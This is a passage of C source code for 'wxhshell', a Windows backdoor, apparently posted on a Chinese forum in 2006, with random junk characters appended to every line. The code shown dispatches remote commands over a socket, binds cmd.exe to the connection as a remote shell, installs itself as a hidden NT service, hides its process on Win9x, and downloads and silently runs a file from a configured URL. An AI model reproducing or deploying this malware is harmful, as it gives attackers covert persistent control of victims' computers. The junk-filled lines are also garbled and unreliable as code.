      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); pe vXixl  
    break; {o5|(^l  
  } k7Bh[ ..!  
  // 安装 )`rD]0ua;  
  case 'i': { I4G0 !"T+  
    if(Install()) LWv<mtuYf  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b'\Q/;oz>  
    else  Rpgg :  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !nSa4U,$w<  
    break; 8j;Un]  
    } e?.j8 Q ~  
  // 卸载 X#ttDB  
  case 'r': { 3T8d?%.l  
    if(Uninstall()) f-enF)z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 84QOW|1  
    else a$|U4Eqo  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k}v`UiGM  
    break; >^~^#MT  
    } @w8} ]S  
  // 显示 wxhshell 所在路径 w2.] 3QAZ  
  case 'p': { .qSDe+A  
    char svExeFile[MAX_PATH]; M !'d  
    strcpy(svExeFile,"\n\r"); u:f ]|Q  
      strcat(svExeFile,ExeFile); ,fp+nu8,  
        send(wsh,svExeFile,strlen(svExeFile),0); UqI #F  
    break; x|a&wC2,{  
    } iT :3e%  
  // 重启 Z?{\34lPj  
  case 'b': { 6ieul@?*u*  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); [*^.$s(  
    if(Boot(REBOOT)) ,gVVYH?qR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E xhih^[_  
    else { 7A\`  
    closesocket(wsh); o6MFMA+vi  
    ExitThread(0); d}4NL:=&  
    } t|iN Sy3  
    break; OF7hp5  
    } qR'FbI  
  // 关机 !b+4[ xky  
  case 'd': { Zu.hcDw1  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ,!l_  
    if(Boot(SHUTDOWN)) :|s8v2am  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zG#5lzIu,  
    else { F,Q;sq  
    closesocket(wsh); 3P6O]x<-?  
    ExitThread(0); 'nq=xi@RC  
    } 'IX1WS&\"  
    break; L*Z.T^h  
    } 3[ [oAp  
  // 获取shell DzGUKJh6  
  case 's': { ~pRgTXbz  
    CmdShell(wsh); #SHeK 4  
    closesocket(wsh); R xMsP;be  
    ExitThread(0); 7<xnE]jdq  
    break; }qiZ%cT.G  
  } %XG m\p  
  // 退出 5)RZJrN]  
  case 'x': { !d N[9}  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); O6hzOyNX@  
    CloseIt(wsh); /xk7Z q  
    break; pJ] Ix *M  
    } " #iJ/vy  
  // 离开 _p*9LsN$L  
  case 'q': { mITB\,,G  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); op}!1y$9P  
    closesocket(wsh); S?0o[7(x*  
    WSACleanup(); 45c?0tj  
    exit(1); Y6v{eWtSn  
    break; 3^UdB9j;  
        } rRq60A  
  } cX-M9Cz  
  } N]+6<  
Q~(Gll;  
  // 提示信息 '3b\d:hN  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); r"dIB@  
} ]W5*R07  
  } 7'IIB1v.\  
LU:xmDv  
  return; ,R[$S"]!SH  
} UGPDwgq\v  
V.*TOU{{xh  
// shell模块句柄 BD C DQ  
int CmdShell(SOCKET sock) E@SFK=`  
{ P1mg;!tq  
STARTUPINFO si; >1s a*Wf  
ZeroMemory(&si,sizeof(si)); jo:Z  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; "0CFvN'4  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; <K[y~9u  
PROCESS_INFORMATION ProcessInfo; 63W;N7@  
char cmdline[]="cmd"; j*DPW)RkKX  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); StI N+S@Z  
  return 0; sC-o'13  
} ^ #:;6^Su  
6j6CA?|  
// 自身启动模式 IA`voO$  
int StartFromService(void) 8TP$?8l  
{ )=~&l={T  
typedef struct NpH8=H9  
{ :lB*kmg  
  DWORD ExitStatus; x0<;Rm [u=  
  DWORD PebBaseAddress; .#yg=t1C  
  DWORD AffinityMask; EsGu#lD2  
  DWORD BasePriority; lMY\8eobcB  
  ULONG UniqueProcessId; '3>;8(s l  
  ULONG InheritedFromUniqueProcessId; XKjrS 9:  
}   PROCESS_BASIC_INFORMATION; Ljy797{f  
K{P-+(  
PROCNTQSIP NtQueryInformationProcess; [9">}l  
LIID(s!bX  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ;  ~71U s  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ; JkSZs3  
yzS^8,  
  HANDLE             hProcess; =d{6=2Pt  
  PROCESS_BASIC_INFORMATION pbi; 4zMvHe  
[bh?p+V  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ws0qwv#  
  if(NULL == hInst ) return 0; ?6:qAFw  
sq'm)g  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); kOQ)QX  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); o+1 (N#?m9  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Y7t#)?  
/I7V\  
  if (!NtQueryInformationProcess) return 0; Ugri _  
cu/"=]D  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); N )Z>]&5  
  if(!hProcess) return 0; W;OGdAa_  
_EMI%P& s  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; g Q\.|'%  
GeR#B;{  
  CloseHandle(hProcess); ?Q]&;5o  
GY$Rkg6d  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); FSEf0@O:  
if(hProcess==NULL) return 0; vvxxwZa=O  
Nn05me"X  
HMODULE hMod; ^EUR#~b5iy  
char procName[255]; MLdwf}[  
unsigned long cbNeeded; 2b$>1O&2  
V8n { k'  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Nh!`"B2B  
X?_rD'3  
  CloseHandle(hProcess); WzzA:X  
\ja6g  
if(strstr(procName,"services")) return 1; // 以服务启动 ..`c# O&  
1ubu~6  
  return 0; // 注册表启动 ]K(a32VCH  
} ,j%\3g`  
QEJu.o  
// 主模块 WESD^FK  
int StartWxhshell(LPSTR lpCmdLine) bsQ'kBD  
{ NljpkeX'  
  SOCKET wsl; (ks>F=vk*  
BOOL val=TRUE; 5sY $  
  int port=0; ]KFh 1  
  struct sockaddr_in door; [5P-K{Ko  
@8W@I|  
  if(wscfg.ws_autoins) Install(); #&|"t< }  
84(Jo_9  
port=atoi(lpCmdLine); (@^9oN~}  
!4p{ b f  
if(port<=0) port=wscfg.ws_port; Kki(A 4;7F  
JT 7WZc)  
  WSADATA data; 7\UHADr  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; $>/d)o  
H(^Eh v>  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   _`?0w#> 0  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 1clzDwW  
  door.sin_family = AF_INET; }_lG2#Ll5  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); q2%cLbI F  
  door.sin_port = htons(port); {-5)nS^_  
$1])>m_ct  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { u#ya 8  
closesocket(wsl); gT8(LDJ  
return 1; )q<VZ|V  
} WM+8<|)n  
s\d3u`G  
  if(listen(wsl,2) == INVALID_SOCKET) { <f7 O3 >  
closesocket(wsl); .BP d06y  
return 1; &kb~N-  
} gvc@q`_]  
  Wxhshell(wsl); gclj:7U  
  WSACleanup(); |<{SSA  
goR_\b SU  
return 0; 6m&GN4Ca  
kQ=bd{a6  
} 6/;YS[jX  
iF`_-t/k  
// 以NT服务方式启动 a?-Jj\q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) m'2F#{  
{ Ft>B% -;  
DWORD   status = 0;  hlVC+%8  
  DWORD   specificError = 0xfffffff; b()8l'x_|K  
wiI@DJ>E  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ^y>V-R/N  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; g=td*S  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; M{L<aYe  
  serviceStatus.dwWin32ExitCode     = 0; 0L>3 i8'  
  serviceStatus.dwServiceSpecificExitCode = 0; @ 51!3jeu  
  serviceStatus.dwCheckPoint       = 0; Oem1=QpaC  
  serviceStatus.dwWaitHint       = 0; ~|KqG  
R6<'J?k  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); -)-: rRx-  
  if (hServiceStatusHandle==0) return; T.#_v# oM  
rRevyTs  
status = GetLastError(); 8J,^O04<  
  if (status!=NO_ERROR) `O7vPE  
{ ]{tWfv|Xg8  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; :Ou~?q%X  
    serviceStatus.dwCheckPoint       = 0; 91z=ou  
    serviceStatus.dwWaitHint       = 0; jZIT[HM  
    serviceStatus.dwWin32ExitCode     = status; cs2-jbRn  
    serviceStatus.dwServiceSpecificExitCode = specificError; XB'rh F8rl  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); oN}\bK  
    return; :awa  
  } E zcch1  
"*zDb|v  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; }zA|M9%E  
  serviceStatus.dwCheckPoint       = 0; ?Z|y-4 &>  
  serviceStatus.dwWaitHint       = 0; _CNXyFw.7  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); u4lM>(3Y}  
} ^fKKsfIf  
H'S~GP4D  
// 处理NT服务事件,比如:启动、停止 $U,]c  
VOID WINAPI NTServiceHandler(DWORD fdwControl) jpi,BVTI-X  
{ y1 a%f.F`  
switch(fdwControl) zDYJe_m ~  
{ =F[M>o  
case SERVICE_CONTROL_STOP: !wAnsK  
  serviceStatus.dwWin32ExitCode = 0; >XZ2w_  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 2\{/|\  
  serviceStatus.dwCheckPoint   = 0; 9{u/|,rq1  
  serviceStatus.dwWaitHint     = 0; QY+{ OCB  
  { G$ zY&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9@t&jznt<  
  } 8+!G /p  
  return; UVXruH  
case SERVICE_CONTROL_PAUSE: e[k\VYj[  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Fz8& Jn!  
  break; ]oix))'n  
case SERVICE_CONTROL_CONTINUE: i8<5|du&?  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; oi Q3E  
  break; i.9}bw 9u@  
case SERVICE_CONTROL_INTERROGATE: ';eAaDM  
  break; .dzw5R&  
}; 5@.8O VPz  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); KUW )F  
} <> =(BAw  
9on$0  
// 标准应用程序主函数 >o"s1* {  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) xD7Y"%Pbx  
{ eI2041z  
P3bRv^  
// 获取操作系统版本 CEk [&39"  
OsIsNt=GetOsVer(); Iv7BIK^0  
GetModuleFileName(NULL,ExeFile,MAX_PATH);  V13^SVM  
~i-n_7+  
  // 从命令行安装 e>Q:j_?.e  
  if(strpbrk(lpCmdLine,"iI")) Install(); ,9|7{j|u  
\ bNDeA&l  
  // 下载执行文件 H{P*d=9v  
if(wscfg.ws_downexe) { [9EL[}  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) $xvwnbq#y  
  WinExec(wscfg.ws_filenam,SW_HIDE); L%7WHtU*#  
} R "W=V  
,DKW_F|  
if(!OsIsNt) { ]$K58C  
// 如果时win9x,隐藏进程并且设置为注册表启动 -b%' K}.C  
HideProc(); 6#d+BBKIc  
StartWxhshell(lpCmdLine); Md:*[]<~  
}  0Ns Po  
else )$Fw<;4  
  if(StartFromService()) @ 6jKjI  
  // 以服务方式启动 ;).QhHeg>  
  StartServiceCtrlDispatcher(DispatchTable); On4Vqbks  
else 09Oe-Bg  
  // 普通方式启动 Xa8_kv_  
  StartWxhshell(lpCmdLine); @)ozgs@e  
Wbmqf s  
return 0; PClwGO8'&  
}
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只看该作者 1 发表于: 2006-10-10
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